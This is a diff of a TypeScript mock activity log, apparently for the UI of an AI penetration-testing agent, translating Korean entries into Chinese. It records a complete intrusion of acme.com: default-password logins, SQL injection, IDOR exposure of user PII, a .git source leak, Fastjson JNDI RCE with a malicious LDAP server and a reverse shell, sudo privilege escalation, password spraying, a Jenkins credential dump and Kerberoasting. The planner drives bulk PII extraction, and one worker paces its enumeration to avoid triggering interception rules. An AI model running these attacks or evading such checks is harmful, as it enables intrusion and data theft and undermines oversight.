- summary: "goal g4 → met; 시스템 안내: g2 가 아직 open 이고 마지막 목표가 아니므로, 작업이 전체로 마무리되지 않았다",
+ summary: "goal g4 → met;系统提示:g2 仍为 open 且非最后一个目标,故整体作业尚未结束",
},
{
seq: 1306,
@@ -1568,7 +1568,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T00:26:10Z"),
kind: "text",
summary:
- "g4 마무리, 내·외부망 경로가 완전히 뚫렸다(외부망 RCE → DMZ → 내부망 → 도메인 컨트롤러). 미커버 방향을 하나씩 대조한다. g2「사용자 민감 데이터 열람」은 아직 마지막 한 걸음이 부족하지만, 기존 i3(백오피스 사용자 엔드포인트) + i5(API IDOR)가 이미 그 방향을 커버하고 있고 둘 다 running 이다. 이번 라운드에는 【본질적으로 다른 미커버 신규 방향】이 없으므로, 절제 원칙에 따라 신규 의도 0, i3/i5 의 산출을 기다린다.",
+ "g4 收尾,内·外网路径已完全打通(外网 RCE → DMZ → 内网 → 域控制器)。逐一比对未覆盖方向。g2「查阅用户敏感数据」还差最后一步,但既有 i3(后台用户端点) + i5(API IDOR) 已覆盖该方向且均为 running。本轮不存在【本质不同的未覆盖新方向】,故遵循克制原则,新增意图 0,等待 i3/i5 的产出。",
},
// ── 第 4 轮 · 后台达成,收敛 g2(2026-07-26 03:55)──
@@ -1577,7 +1577,7 @@ export const activity: Activity[] = [
worker: "planner",
ts: T("2026-07-26T03:55:00Z"),
kind: "round",
- summary: "라운드 4 · 백오피스 달성, g2 수렴",
+ summary: "第 4 轮 · 后台达成,g2 收敛",
},
{
seq: 1401,
@@ -1585,7 +1585,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:55:14Z"),
kind: "thinking",
summary:
- "recent_facts 대조: work#2 가 faCreds 의 Acme@2021 로 admin 백오피스에 적중(i2 done)해 백오피스 관리 권한을 확보했다. g1 인수 달성이므로 먼저 prove_goal 로 확정한다. 이어서 【정량 인수 대조】를 한다. g2「사용자 민감 데이터 열람」은 현재 i3/i5 가 엔드포인트 표면만 건드렸을 뿐 아직 실제로 대량 데이터를 취득하지 못했고 실측상 기준 미달이므로, prove_goal 을 【금지】하고 우선순위를 올려 데이터 취득 의도를 보강하는 쪽으로 바꾼다.",
+ "recent_facts 比对:work#2 用 faCreds 的 Acme@2021 命中 admin 后台(i2 done),取得后台管理权限。g1 验收达成,先用 prove_goal 确认。随后进行【定量验收比对】。g2「查阅用户敏感数据」目前 i3/i5 仅触及端点表面,尚未真正获取大量数据,实测未达标,故【禁止】prove_goal,改为提高优先级以补强数据获取意图。",
},
{
seq: 1402,
@@ -1596,7 +1596,7 @@ export const activity: Activity[] = [
tool_use_id: "p4-pg",
summary: "prove_goal(g1, evidence=fa1)",
detail:
- "reason: i2 가 외부망에서 유출된 하드코딩 비밀번호 Acme@2021 로 admin 백오피스(Element-UI)에 로그인 성공, 백오피스 관리 권한을 획득, g1 달성.",
+ "reason:i2 用外网泄露的硬编码口令 Acme@2021 成功登录 admin 后台(Element-UI),取得后台管理权限,g1 达成。",
},
{
seq: 1403,
@@ -1605,7 +1605,7 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p4-pg",
- summary: "goal g1 → met; 남은 미달성: g2",
+ summary: "goal g1 → met;剩余未达成:g2",
},
{
seq: 1404,
@@ -1613,7 +1613,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:55:40Z"),
kind: "thinking",
summary:
- "g2 정량 대조: 목표 요구사항 『사용자 민감 데이터 열람』은 곧 실제로 대량 사용자 레코드를 취득하는 것이다. graph_overview 의 findings 에는 아직 『사용자 데이터 추출 성공』 항목이 없고, i3/i5 모두 running 으로 데이터 취득 결과를 회신하지 않았다. 실측상 기준 미달이다. 『백오피스에 이미 진입했으니 대체로 달성』이라며 성급히 met 로 표시하는 것을 엄격히 금지하고, 의도를 계속 파견해 격차를 메운다.",
+ "g2 定量比对:目标要求「查阅用户敏感数据」,即真正获取大量用户记录。graph_overview 的 findings 中尚不存在「成功导出用户数据」条目,i3/i5 均处于 running 且未回报数据获取结果。实测未达标。严禁以「既已进入后台即大体达成」草率标记为 met,继续派遣意图以弥补差距。",
},
{
seq: 1405,
@@ -1622,9 +1622,9 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p4-ai",
- summary: "add_intent × 2 (g2 데이터 취득 수렴, 우선순위 상향)",
+ summary: "add_intent × 2(g2 数据获取收敛,优先级上调)",
detail:
- "intents=[\n { summary: 'admin 백오피스 로그인 완료, 사용자 관리/내보내기 엔드포인트를 열거해 사용자 민감 필드를 대량 추출', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: 'api.acme.com 주문 IDOR 로 order_id 를 순회해 사용자 주문/PII 를 대량 추출', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\n주: i3/i5 는 이미 running 상태라, 이번 라운드에는 더 정밀한 데이터 취득 설명 + 우선순위 상향(→9)으로 증원하며, 같은 뜻의 의도를 중복 파견하지 않는다.",
+ "intents=[\n { summary: '已完成 admin 后台登录,枚举用户管理/导出端点以批量导出用户敏感字段', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: '通过 api.acme.com 订单 IDOR 遍历 order_id 批量导出用户订单/PII', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\n注:i3/i5 已处于 running,本轮以更精确的数据获取说明 + 优先级上调(→9)增援,不重复派遣同义意图。",
},
{
seq: 1406,
@@ -1633,7 +1633,7 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p4-ai",
- summary: "2 intents updated → ids=[i3, i5](우선순위 9 로 상향, 설명을 『대량 데이터 취득』으로 구체화)",
+ summary: "已更新 2 个 intent → ids=[i3, i5](优先级升至 9,说明具体化为「大量数据获取」)",
},
{
seq: 1407,
@@ -1641,7 +1641,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:55:58Z"),
kind: "text",
summary:
- "g1 달성(4개 중 met 3개: g1/g3/g4). g2 는 정량 인수를 엄격히 지킨다. 백오피스에 진입한 것만으로는 인정되지 않고, 반드시 대량 사용자 데이터를 취득해야 확정한다. i3/i5 를 priority 9 로 올리고 데이터 취득 의도로 구체화했으며, worker 회신이 오면 작업 전체를 마무리할 수 있다.",
+ "g1 达成(4 个中 met 3 个:g1/g3/g4)。g2 严格守住定量验收。仅进入后台不予认定,必须获取大量用户数据才能确认。已将 i3/i5 提升至 priority 9 并具体化为数据获取意图,待 worker 回报后即可结束整体作业。",
},
// work#1 · i1 子域枚举与端口扫描(done)
@@ -1651,7 +1651,7 @@ export const activity: Activity[] = [
intent_id: "i1",
ts: T("2026-07-24T09:20:00Z"),
kind: "thinking",
- summary: "먼저 서브도메인을 수동적으로 정찰한 뒤, 살아 있는 호스트에 포트/서비스 식별을 수행한다.",
+ summary: "先被动侦察子域名,再对存活主机执行端口/服务识别。",
},
{
seq: 11,
@@ -1672,8 +1672,8 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t11",
summary:
- "www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 로그인\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]",
- detail: "살아 있는 서브도메인 5개이며, 그중 admin 은 백오피스 로그인 페이지다.",
+ "www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 登录\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]",
+ detail: "存活子域名 5 个,其中 admin 为后台登录页。",
},
{
seq: 13,
@@ -1694,7 +1694,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t12",
summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0",
- detail: "22/80/443 포트가 열려 있다.",
+ detail: "22/80/443 端口开放。",
},
{
seq: 15,
@@ -1704,7 +1704,7 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "upsert_asset",
tool_use_id: "t13",
- summary: "upsert_asset × 6 (서브도메인+서비스)",
+ summary: "upsert_asset × 6(子域名+服务)",
},
{
seq: 16,
@@ -1722,7 +1722,7 @@ export const activity: Activity[] = [
intent_id: "i1",
ts: T("2026-07-24T09:40:00Z"),
kind: "result",
- summary: "자산 정찰을 완료했고 백오피스 admin.acme.com 을 발견했으며, 결과를 그래프에 반환한다.",
+ summary: "资产侦察完成并发现后台 admin.acme.com,将结果回写图谱。",
input_tokens: 96000,
output_tokens: 6100,
cache_read_tokens: 61000,
@@ -1737,7 +1737,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:31:00Z"),
kind: "thinking",
summary:
- "백오피스는 Element-UI 이고, 로그인 엔드포인트에 캡차도 속도 제한도 없다. 먼저 기본 비밀번호 목록을 시도한 뒤, 사전 대입으로 넘어간다.",
+ "后台为 Element-UI,登录端点既无验证码也无限速。先尝试默认口令列表,再进行字典爆破。",
},
{
seq: 21,
@@ -1758,7 +1758,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t21",
summary: "401",
- detail: "admin/admin 실패.",
+ detail: "admin/admin 失败。",
},
{
seq: 23,
@@ -1779,7 +1779,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t22",
summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard",
- detail: "admin/admin123 로그인 성공, 세션 cookie 를 획득했다.",
+ detail: "admin/admin123 登录成功,取得会话 cookie。",
},
{
seq: 25,
@@ -1799,8 +1799,8 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "bash",
tool_use_id: "t23",
- summary: "Acme Admin · 콘솔",
- detail: "백오피스 콘솔에 진입했음을 확인했다.",
+ summary: "Acme Admin · 控制台",
+ detail: "确认已进入后台控制台。",
},
{
seq: 27,
@@ -1820,7 +1820,7 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t24",
- summary: "finding f-6 을 기록했고, 목표 g1 에 연결했다(proves).",
+ summary: "记录了 finding f-6,并关联到目标 g1(proves)。",
},
{
seq: 29,
@@ -1828,7 +1828,7 @@ export const activity: Activity[] = [
intent_id: "i2",
ts: T("2026-07-26T03:50:00Z"),
kind: "result",
- summary: "백오피스 기본 비밀번호를 확인했고, 목표 ① 을 달성했다.",
+ summary: "已确认后台默认口令,达成目标 ①。",
input_tokens: 72000,
output_tokens: 4800,
cache_read_tokens: 48000,
@@ -1842,7 +1842,7 @@ export const activity: Activity[] = [
intent_id: "i4",
ts: T("2026-07-25T22:01:00Z"),
kind: "thinking",
- summary: "search?q= 결과 페이지가 q 를 제목에 이어 붙인다. 먼저 수동으로 작은따옴표를 넣어 오류 메시지를 확인한다.",
+ summary: "search?q= 结果页会把 q 拼接到标题。先手动插入单引号以观察错误信息。",
},
{
seq: 41,
@@ -1863,7 +1863,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t41",
summary: "Unclosed quotation mark ... near '1'.",
- detail: "MSSQL 오류 기반 인젝션 징후다.",
+ detail: "疑似 MSSQL 报错型注入。",
},
{
seq: 43,
@@ -1885,7 +1885,7 @@ export const activity: Activity[] = [
tool_use_id: "t42",
summary:
"Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb",
- detail: "인젝션 가능을 확인했고, 데이터베이스 4개를 열거했다.",
+ detail: "确认可注入,并枚举出 4 个数据库。",
},
{
seq: 45,
@@ -1905,7 +1905,7 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t43",
- summary: "finding f-1 을 기록했다.",
+ summary: "记录了 finding f-1。",
},
{
seq: 47,
@@ -1913,7 +1913,7 @@ export const activity: Activity[] = [
intent_id: "i4",
ts: T("2026-07-26T01:20:00Z"),
kind: "result",
- summary: "SQL 인젝션을 확인했다.",
+ summary: "确认存在 SQL 注入。",
input_tokens: 118000,
output_tokens: 7400,
cache_read_tokens: 82000,
@@ -1928,7 +1928,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T02:31:00Z"),
kind: "thinking",
summary:
- "/v1/orders?id= 는 숫자 자동 증가 id 이고, 전형적인 IDOR 면이다. 먼저 자기 주문을 조회한 뒤, id 를 바꿔 타인 주문을 읽을 수 있는지 확인한다.",
+ "/v1/orders?id= 为数字自增 id,是典型的 IDOR 面。先查询自己的订单,再修改 id 看能否读取他人订单。",
},
{
seq: 51,
@@ -1949,7 +1949,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t51",
summary: '{ "order_id":1001, "user_id":42, "amount":299 }',
- detail: "자기 주문이며, 정상이다.",
+ detail: "是本人订单,正常。",
},
{
seq: 53,
@@ -1969,8 +1969,8 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "bash",
tool_use_id: "t52",
- summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"서울시 강남구 ****" }',
- detail: "권한 우회로 타인 주문을 읽었고(전화번호/주소 포함), 소유자 검증이 없다.",
+ summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"北京市朝阳区 ****" }',
+ detail: "通过权限绕过读取了他人订单(含手机号/地址),且无属主校验。",
},
{
seq: 55,
@@ -1990,7 +1990,7 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t53",
- summary: "finding f-2 를 기록했다.",
+ summary: "记录了 finding f-2。",
},
{
seq: 57,
@@ -1999,7 +1999,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:58:10Z"),
kind: "thinking",
summary:
- "id 범위를 일괄 순회하면서, 권한 우회로 접근 가능한 데이터 규모를 평가하는 중이다(아직 내보내지 않으며, 가로채기 규칙 발동을 피한다).",
+ "正在批量遍历 id 范围,评估可通过权限绕过访问的数据规模(暂不导出,避免触发拦截规则)。",
},
// work#3 · i3 后台用户接口枚举(running)
@@ -2010,7 +2010,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:56:00Z"),
kind: "thinking",
summary:
- "백오피스 세션을 이미 확보했고, 관리 엔드포인트를 열거하여 사용자 민감 데이터를 대량으로 내보낼 수 있는 입구를 찾는다(목표 ②).",
+ "已取得后台会话,枚举管理端点,寻找可大量导出用户敏感数据的入口(目标 ②)。",
},
{
seq: 61,
@@ -2031,7 +2031,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t61",
summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }',
- detail: "관리 엔드포인트가 전체 사용자를 페이지 단위로 반환할 수 있고(이메일/전화번호 포함), 약 1만 2,800건이다.",
+ detail: "管理端点可按页返回全部用户(含邮箱/手机号),约 12,800 条。",
},
{
seq: 63,
@@ -2040,7 +2040,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:58:20Z"),
kind: "thinking",
summary:
- "사용자 데이터를 대량으로 읽는 입구가 존재함을 확인했다. 내보내기 동작이 파괴적/유출 규칙에 걸려, 가로채기 승인을 제출하고 통과를 기다리는 중이다.",
+ "确认存在大量读取用户数据的入口。导出操作命中破坏性/泄露规则,已提交拦截审批并等待通过。",
},
// workG · ig .git 源码泄露与硬编码凭据(done)
@@ -2051,7 +2051,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T20:26:00Z"),
kind: "thinking",
summary:
- "robots.txt 가 /.git 을 언급한다. 먼저 디렉터리를 내려받을 수 있는지 탐지하고, 소스 코드를 확보하면 화이트박스로 인젝션 지점과 하드코딩된 비밀 키를 찾을 수 있다.",
+ "robots.txt 提及 /.git。先探测该目录能否下载,取得源码后即可白盒寻找注入点与硬编码密钥。",
},
{
seq: 311,
@@ -2072,7 +2072,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "tg1",
summary: "200",
- detail: ".git 디렉터리가 외부에서 접근 가능하다.",
+ detail: ".git 目录可被外部访问。",
},
{
seq: 313,
@@ -2092,8 +2092,8 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "bash",
tool_use_id: "tg2",
- summary: "214개 파일을 복원했다; HEAD=main. config.php / db.php 가 목록에 있다.",
- detail: "백엔드 소스 코드 전체를 /tmp/acme 에 복원했다.",
+ summary: "已还原 214 个文件;HEAD=main。config.php / db.php 在列表中。",
+ detail: "已将后端源码完整还原到 /tmp/acme。",
},
{
seq: 315,
@@ -2115,7 +2115,7 @@ export const activity: Activity[] = [
tool_use_id: "tg3",
summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';",
detail:
- "데이터베이스 비밀번호가 하드코딩되어 있고, host 가 내부망 IP 를 가리킨다. 내부망 공용으로 추정되는 자격 증명으로 기록한다.",
+ "数据库口令硬编码,且 host 指向内网 IP。记录为推定内网通用的凭据。",
},
{
seq: 317,
@@ -2124,7 +2124,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T20:36:00Z"),
kind: "result",
summary:
- "소스 코드 유출과 하드코딩 DB 자격 증명을 확인했고, 자격 증명을 그래프에 반영해 이후 내부망에서 재사용할 수 있게 한다.",
+ "确认源码泄露与硬编码数据库凭据,并将凭据写入图谱以便后续在内网复用。",
input_tokens: 88000,
output_tokens: 5200,
cache_read_tokens: 60000,
@@ -2139,7 +2139,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T14:22:00Z"),
kind: "thinking",
summary:
- "shop.acme.com 은 자체 개발 전자상거래이므로, 먼저 프레임워크·컴포넌트 버전을 지문 식별한 뒤, 알려진 역직렬화 취약점이 있는 컴포넌트를 공략한다.",
+ "shop.acme.com 为自研电商,先对框架·组件版本做指纹识别,再攻陷存在已知反序列化漏洞的组件。",
},
{
seq: 321,
@@ -2160,7 +2160,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t6a",
summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...",
- detail: "Java 기술 스택이며, JSON body 를 받는 /api/import 엔드포인트가 존재한다.",
+ detail: "为 Java 技术栈,存在接收 JSON body 的 /api/import 端点。",
},
{
seq: 323,
@@ -2181,8 +2181,8 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "bash",
tool_use_id: "t6b",
- summary: "오류 스택에 com.alibaba.fastjson.JSONException (1.2.24) 포함",
- detail: "Fastjson 1.2.24 를 확인했고, 이는 JdbcRowSetImpl JNDI 인젝션 RCE 에 대응한다.",
+ summary: "错误堆栈中包含 com.alibaba.fastjson.JSONException (1.2.24)",
+ detail: "确认 Fastjson 1.2.24,对应 JdbcRowSetImpl JNDI 注入 RCE。",
},
{
seq: 325,
@@ -2190,7 +2190,7 @@ export const activity: Activity[] = [
intent_id: "i6",
ts: T("2026-07-25T14:40:00Z"),
kind: "result",
- summary: "지문이 Fastjson 1.2.24 에 적중해 역직렬화 RCE 공격면이 성립했고, 익스플로잇 의도로 넘긴다.",
+ summary: "指纹命中 Fastjson 1.2.24,反序列化 RCE 攻击面成立,转入利用意图。",
input_tokens: 64000,
output_tokens: 4100,
cache_read_tokens: 42000,
@@ -2205,7 +2205,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T15:12:00Z"),
kind: "thinking",
summary:
- "JNDI/LDAP 악성 서비스를 하나 띄워 shop 이 역방향으로 연결해 payload 를 로드·실행하게 하고, 먼저 dnslog 로 외부 통신을 확인한 뒤 리버스 셸을 확보한다.",
+ "启动一个 JNDI/LDAP 恶意服务,诱使 shop 反向连接以加载·执行 payload,先用 dnslog 确认外部通信再取得反弹 shell。",
},
{
seq: 331,
@@ -2215,7 +2215,7 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "bash",
tool_use_id: "t7a",
- summary: "java -jar JNDIExploit.jar -i -l 1389 & # LDAP/HTTP 악성 서비스 기동",
+ summary: "java -jar JNDIExploit.jar -i -l 1389 & # 启动 LDAP/HTTP 恶意服务",
},
{
seq: 332,
@@ -2226,7 +2226,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t7a",
summary: "LDAP Server started on 1389, HTTP on 8180",
- detail: "악성 서비스가 준비됐다.",
+ detail: "恶意服务已就绪。",
},
{
seq: 333,
@@ -2247,8 +2247,8 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "bash",
tool_use_id: "t7b",
- summary: "LDAP 가 요청을 수신 → ReverseShell 로드 → nc 리스너가 연결 수신",
- detail: "payload 가 성공적으로 트리거됐다.",
+ summary: "LDAP 收到请求 → 加载 ReverseShell → nc 监听器接收连接",
+ detail: "payload 已成功触发。",
},
{
seq: 335,
@@ -2258,7 +2258,7 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "bash",
tool_use_id: "t7c",
- summary: "id; hostname -I # 리버스 셸 안에서 신원과 네트워크 대역 확인",
+ summary: "id; hostname -I # 在反弹 shell 中确认身份与网段",
},
{
seq: 336,
@@ -2269,7 +2269,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t7c",
summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15",
- detail: "www-data@dmz-web01 이고, 두 번째 네트워크 카드가 10.10.10.x 다. DMZ 에 진입했고 내부망에 인접했다.",
+ detail: "为 www-data@dmz-web01,第二块网卡为 10.10.10.x。已进入 DMZ 并临近内网。",
},
{
seq: 337,
@@ -2287,7 +2287,7 @@ export const activity: Activity[] = [
intent_id: "i7",
ts: T("2026-07-25T15:40:00Z"),
kind: "result",
- summary: "역직렬화 RCE 로 www-data 리버스 셸을 확보했고, 목표 ③ 거점을 1차로 구축했다.",
+ summary: "通过反序列化 RCE 取得 www-data 反弹 shell,初步建立目标 ③ 据点。",
input_tokens: 132000,
output_tokens: 8600,
cache_read_tokens: 90000,
@@ -2302,7 +2302,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T16:02:00Z"),
kind: "thinking",
summary:
- "www-data 권한이 제한적이므로, 먼저 로컬 정보 수집으로 권한 상승 지점을 찾는다: sudo 설정, SUID, 커널 버전.",
+ "www-data 权限有限,先做本地信息收集寻找提权点:sudo 配置、SUID、内核版本。",
},
{
seq: 341,
@@ -2323,7 +2323,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t8a",
summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3",
- detail: "sudo 화이트리스트에 python3 가 있고 비밀번호도 면제된다. 곧바로 권한 상승이 가능하다.",
+ detail: "sudo 白名单中有 python3 且免密,可立即提权。",
},
{
seq: 343,
@@ -2344,7 +2344,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t8b",
summary: "uid=0(root) gid=0(root) groups=0(root)",
- detail: "root 로 권한을 상승했다.",
+ detail: "已提权至 root。",
},
{
seq: 345,
@@ -2362,7 +2362,7 @@ export const activity: Activity[] = [
intent_id: "i8",
ts: T("2026-07-25T16:20:00Z"),
kind: "result",
- summary: "로컬에서 root 권한 상승을 마쳐 거점이 공고해졌고, 이를 pivot 삼아 내부망을 공략할 준비를 한다.",
+ summary: "本地 root 提权完成,据点已稳固,准备以其为跳板进攻内网。",
input_tokens: 74000,
output_tokens: 4700,
cache_read_tokens: 50000,
@@ -2377,7 +2377,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T20:32:00Z"),
kind: "thinking",
summary:
- "거점이 10.10.10.0/24 에 직접 연결되므로, fscan·내부망 스캔으로 호스트·포트를 발견하고 도메인 컨트롤러와 고가치 호스트를 특정한다.",
+ "据点直连 10.10.10.0/24,故用 fscan·内网扫描发现主机·端口,并锁定域控制器与高价值主机。",
},
{
seq: 351,
@@ -2398,7 +2398,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t9a",
summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080",
- detail: "도메인 컨트롤러 DC01, 파일 서버 FS01, 내부 Jenkins 를 특정했다.",
+ detail: "锁定了域控制器 DC01、文件服务器 FS01、内网 Jenkins。",
},
{
seq: 353,
@@ -2406,7 +2406,7 @@ export const activity: Activity[] = [
intent_id: "i9",
ts: T("2026-07-25T21:00:00Z"),
kind: "result",
- summary: "내부망 호스트 발견을 완료했고, 고가치 대상 3대를 그래프에 반영했다.",
+ summary: "完成内网主机发现,并将 3 台高价值目标写入图谱。",
input_tokens: 82000,
output_tokens: 5100,
cache_read_tokens: 56000,
@@ -2421,7 +2421,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:42:00Z"),
kind: "thinking",
summary:
- "소스 코드 유출로 얻은 sa/Acme@2021 은 DB 비밀번호인데, 기업에서는 비밀번호 재사용이 흔하다. DC01/FS01/JENKINS 를 대상으로 패스워드 스프레이를 수행한다.",
+ "源码泄露获得的 sa/Acme@2021 是数据库口令,企业内口令复用很常见。对 DC01/FS01/JENKINS 执行密码喷洒。",
},
{
seq: 361,
@@ -2441,8 +2441,8 @@ export const activity: Activity[] = [
kind: "tool_result",
tool: "bash",
tool_use_id: "t10a",
- summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] 인증 실패",
- detail: "FS01 에서 sa 비밀번호 재사용에 성공했고 관리자 권한도 있다. DC01 은 연결되지 않았다.",
+ summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] 认证失败",
+ detail: "在 FS01 上成功复用 sa 口令且具备管理员权限。DC01 未连上。",
},
{
seq: 363,
@@ -2450,7 +2450,7 @@ export const activity: Activity[] = [
intent_id: "i10",
ts: T("2026-07-26T03:50:00Z"),
kind: "thinking",
- summary: "FS01 을 장악했고, 공유 디렉터리를 열거해 더 많은 자격 증명과 민감 파일을 찾는 중이다…",
+ summary: "已控制 FS01,正在枚举共享目录寻找更多凭据与敏感文件…",
},
// work#11 · i11 Jenkins 未授权 RCE(done)
@@ -2460,7 +2460,7 @@ export const activity: Activity[] = [
intent_id: "i11",
ts: T("2026-07-25T21:32:00Z"),
kind: "thinking",
- summary: "JENKINS 8080 에 바로 접근할 수 있으니, 먼저 /script 콘솔이 인증을 요구하는지 확인한다.",
+ summary: "JENKINS 8080 可直接访问,先确认 /script 控制台是否需要认证。",
},
{
seq: 371,
@@ -2481,7 +2481,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t11a",
summary: "200",
- detail: "Script Console 에 로그인 없이 접근할 수 있다.",
+ detail: "Script Console 无需登录即可访问。",
},
{
seq: 373,
@@ -2502,7 +2502,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t11b",
summary: "nt authority\\system",
- detail: "Groovy 가 SYSTEM 권한으로 실행된다.",
+ detail: "Groovy 以 SYSTEM 权限执行。",
},
{
seq: 375,
@@ -2512,7 +2512,7 @@ export const activity: Activity[] = [
kind: "tool_use",
tool: "bash",
tool_use_id: "t11c",
- summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # Jenkins 자격 증명 저장소 덤프",
+ summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # 导出 Jenkins 凭据库",
},
{
seq: 376,
@@ -2523,7 +2523,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t11c",
summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!",
- detail: "도메인 서비스 계정 두 개의 평문 비밀번호를 덤프했다.",
+ detail: "导出了两个域服务账号的明文口令。",
},
{
seq: 377,
@@ -2541,7 +2541,7 @@ export const activity: Activity[] = [
intent_id: "i11",
ts: T("2026-07-25T21:50:00Z"),
kind: "result",
- summary: "Jenkins 미인증 RCE 를 확인했고, 도메인 서비스 계정 두 개의 자격 증명을 덤프했다.",
+ summary: "确认 Jenkins 未授权 RCE,并导出了两个域服务账号的凭据。",
input_tokens: 96000,
output_tokens: 6200,
cache_read_tokens: 64000,
@@ -2556,7 +2556,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T22:42:00Z"),
kind: "thinking",
summary:
- "svc_deploy 자격 증명으로 도메인 인증을 하고, GetUserSPNs 로 Kerberoast 가능한 서비스 계정의 TGS 를 요청한다.",
+ "用 svc_deploy 凭据进行域认证,并以 GetUserSPNs 请求可 Kerberoast 的服务账号 TGS。",
},
{
seq: 381,
@@ -2577,7 +2577,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t12a",
summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...",
- detail: "svc_sql 의 TGS 티켓 (Kerberos RC4) 을 확보했다.",
+ detail: "取得 svc_sql 的 TGS 票据 (Kerberos RC4)。",
},
{
seq: 383,
@@ -2598,7 +2598,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t12b",
summary: "$krb5tgs$23$*svc_sql$...:Sql@2020",
- detail: "8분 만에 비밀번호 Sql@2020 을 크랙했다.",
+ detail: "8 分钟内破解出口令 Sql@2020。",
},
{
seq: 385,
@@ -2616,7 +2616,7 @@ export const activity: Activity[] = [
intent_id: "i12",
ts: T("2026-07-25T23:20:00Z"),
kind: "result",
- summary: "Kerberoasting 으로 svc_sql 비밀번호를 크랙했고, 도메인 컨트롤러 공격에 쓰도록 그래프에 반영했다.",
+ summary: "通过 Kerberoasting 破解 svc_sql 口令,并写入图谱用于攻击域控制器。",
input_tokens: 108000,
output_tokens: 6800,
cache_read_tokens: 72000,
@@ -2631,7 +2631,7 @@ export const activity: Activity[] = [
ts: T("2026-07-25T23:52:00Z"),
kind: "thinking",
summary:
- "svc_deploy 는 Jenkins 자격 증명 저장소에서 나왔으니, 먼저 그룹 멤버십을 조회한다. Domain Admins 소속이면 곧바로 DC01 에 psexec 할 수 있다.",
+ "svc_deploy 来自 Jenkins 凭据库,先查询其组成员身份。若属于 Domain Admins 即可直接 psexec 到 DC01。",
},
{
seq: 391,
@@ -2652,7 +2652,7 @@ export const activity: Activity[] = [
tool: "bash",
